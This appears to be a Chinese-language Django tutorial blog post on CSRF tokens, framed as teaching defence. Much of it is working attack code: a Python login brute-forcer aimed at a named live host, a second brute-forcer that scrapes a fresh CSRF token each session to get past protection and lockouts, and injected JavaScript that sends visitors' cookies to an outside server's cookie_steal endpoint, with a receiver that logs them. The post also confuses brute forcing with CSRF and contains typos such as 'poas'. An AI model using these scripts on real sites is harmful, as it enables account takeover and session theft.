CSRF 跨站請求攻擊

CSRF 全名為 Cross Site Request Forgery 跨站請求偽裝,中文翻譯為「跨站請求攻擊」。

簡易入侵方法

以本站登入畫面為例 http://mahalbot.ddns.net/session/login/

在網頁按右鍵檢視原始碼,或 F12,就可以看到表單中的
帳號欄 name=”userAccount”,
密碼欄 name=” userPassword”,

然後使用如下程式即可暴力破解。

import requests
accounts=["kevin","tracy","john","hello"]
passwords=["abcdefgh", "password", "1234","123456","xyz"]
for account in accounts:
for password in passwords:
param={"userAccount":account, "userPassword":password}
page=requests.post("http://mahaljsp.ddns.net/login/", data=param)
print(f"目前正在測試 {password}....")
print(page.text)
if "mahaljsp" in page.text:
print(f"正確密碼 : {password}")
break

啟動 CSRF 保護

若要防止暴力破解程式攻擊,需啟動 CSRF 保護。

請需在 login.html 的表單 <form> 下方加入 {% csrf_token %},如下所示

<form action="/session/login/" method="poas">
    {% csrf_token %}
    <input type="text" name="userAccount"/>
    <input type="password" name="userPassword"/>
    <input type="submit" value="登入"/>
</form>

然後 def login() 上方若有 csrf_exempt 註釋,請刪除掉。Django 在執行 def login() 方法時,預設會檢查有沒有權杖或是權杖是否正確。

#@csrf_exempt
def login(request):
    return HttpResponse("ok")

如此就可以啟動 CSRF 保護,並解決「CSRF verification fail」的問題。

 {% csrf_token %} 作了什麼

{% csrf_tokek %} 會在 <form> 的下方產生一組權杖,請在 login.html 按右鍵查看網頁原始碼,即可看到如下藍色代碼。

<form action="/session/login/" method="post">
    <input type="hidden" name="csrfmiddlewaretoken" value="Jra5eYr5j4nAkK6CYYNCQDTvIvmVnSaACDvHAWGy0x0XNYQBkH6plR2a8mykjiET"/>

表單中有一個 input type =”hidden”,value 就是由 {% csrf_token %} 產生的權杖,由 Server 發送給使用端,而這權杖亦會儲存在 Server 中。

當使用者傳送表單要求執行 def login() 時,會將 userName、userPassword、csrfmiddlewaretoken 權杖傳給伺服器。

Server 執行 def login() 時會收到表單傳回的資料,然後先檢查 csrfmiddlewaretoken 的值,若沒有此值或是此值與儲存在 Server 的權杖不相等,就會回覆 CSRF verification fail。

所以任何人想用上面的程式入侵,會因為沒有權杖,就被 Server 直接給予 403 禁止連線。

請注意,若 html 表單沒有 {% csrf_token %},而 def login() 也沒有 @csrf_exempt,是無法登入的,因為 def login() 預設就是要檢查權杖。請參照如下表

取消 CSRF 保護

若要取消 CSRF 保護,前端 login.html 有沒有 {% csrf_token %} 都沒關係,因為取消保護並不是在此處設定,如下所示。

<form action="/session/login/" method="poas">
    {% csrf_token %}<!-- 取消保護時,有沒有這行都沒關係 -->
    <input type="text" name="userAccount"/>
    <input type="password" name="userPassword"/>
    <input type="submit" value="登入"/>
</form>

重點是在 def login() 上方加入 @csrf_exempt 註釋即可取消 CSRF 保護。exempt [ɪgˋzɛmpt] 是豁免的意思,也就是要執行 def login() 時,不要檢查權杖,如下所示。

@csrf_exempt
def login(request):
    return HttpResponse("ok")

取消 CSRS 保護後,就要小心上面的暴力破解程式就可以運作。

CSRF 暴力破解

CSRF 保護是否無堅不摧呢? 別傻了,使用如下代碼,就算網站有設定輸入三次就封鎖,一樣破解無誤,因為底下的代碼每次都用不一樣的 session。

import bs4
import requests

accounts=['john', 'thomas', 'kevin']#由網路上下載帳號字典
passwords=['1234','123456', 'abcd']#由網路上下載密碼字典
out=False
for account in accounts:
    if out:break
    for password in passwords:
        print(f"{account}, {password} : ", end="")

        session = requests.Session()
        page = session.get("http://192.168.1.2/login/")
        soup = bs4.BeautifulSoup(page.text, "html.parser")
        csrf = soup.find("input", {"name": "csrfmiddlewaretoken"}).get("value")

        param={"userAccount":account, "userPassword":password,"csrfmiddlewaretoken":csrf}
        page=session.post("http://192.168.1.2/process/", data=param)
        if '歡迎光臨' in page.text:
            print("Successful")
            out=True
            break
        else:
            print("False")

結果 : 
john, 1234 : False
john, 123456 : False
john, abcd : False
thomas, 1234 : False
thomas, 123456 : Successful

真的是道高一尺,魔高一丈啊!!

駭客基礎常識

抓取前端 Cookie

前端網頁撰寫如下 javascript ,當客戶端只要滑鼠一滑過圖片,連按都不用按,客戶端的 cookie 就立即傳到後台。

<body>
<img src="/static/images/tiger.jpg" width="400" height="300"
onmouseover="get_cookie();"
/>
</body>
<script>
function get_cookie(){
(new Image()).src =
"http://mahaljsp.ddns.net/cookie_steal?cookie=" + document.cookie;
}
</script>

後台的 cookie_steal 為接收網頁,只需使用 python 撰寫如下代碼即可將 cookie 取出

def steal(request):
if "cookie" in request.GET:
print("cookie",request.GET["cookie"])
return HttpResponse()

後台取得Cookie

當使用者連入伺服器時,也會自動將 Cookie 傳入後台。後台只要使用 request.META.items() 即可取得使用者的 ip 及 Cookie。

def html(request):
values=request.META.items();
info={}
for item in list(values):
info[item[0]]=item[1]
data={}
data['ip']=info["HTTP_X_FORWARDED_FOR"]
data['cookie']=info["HTTP_COOKIE"]
return render(request, 'cookie_get.html',data)

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *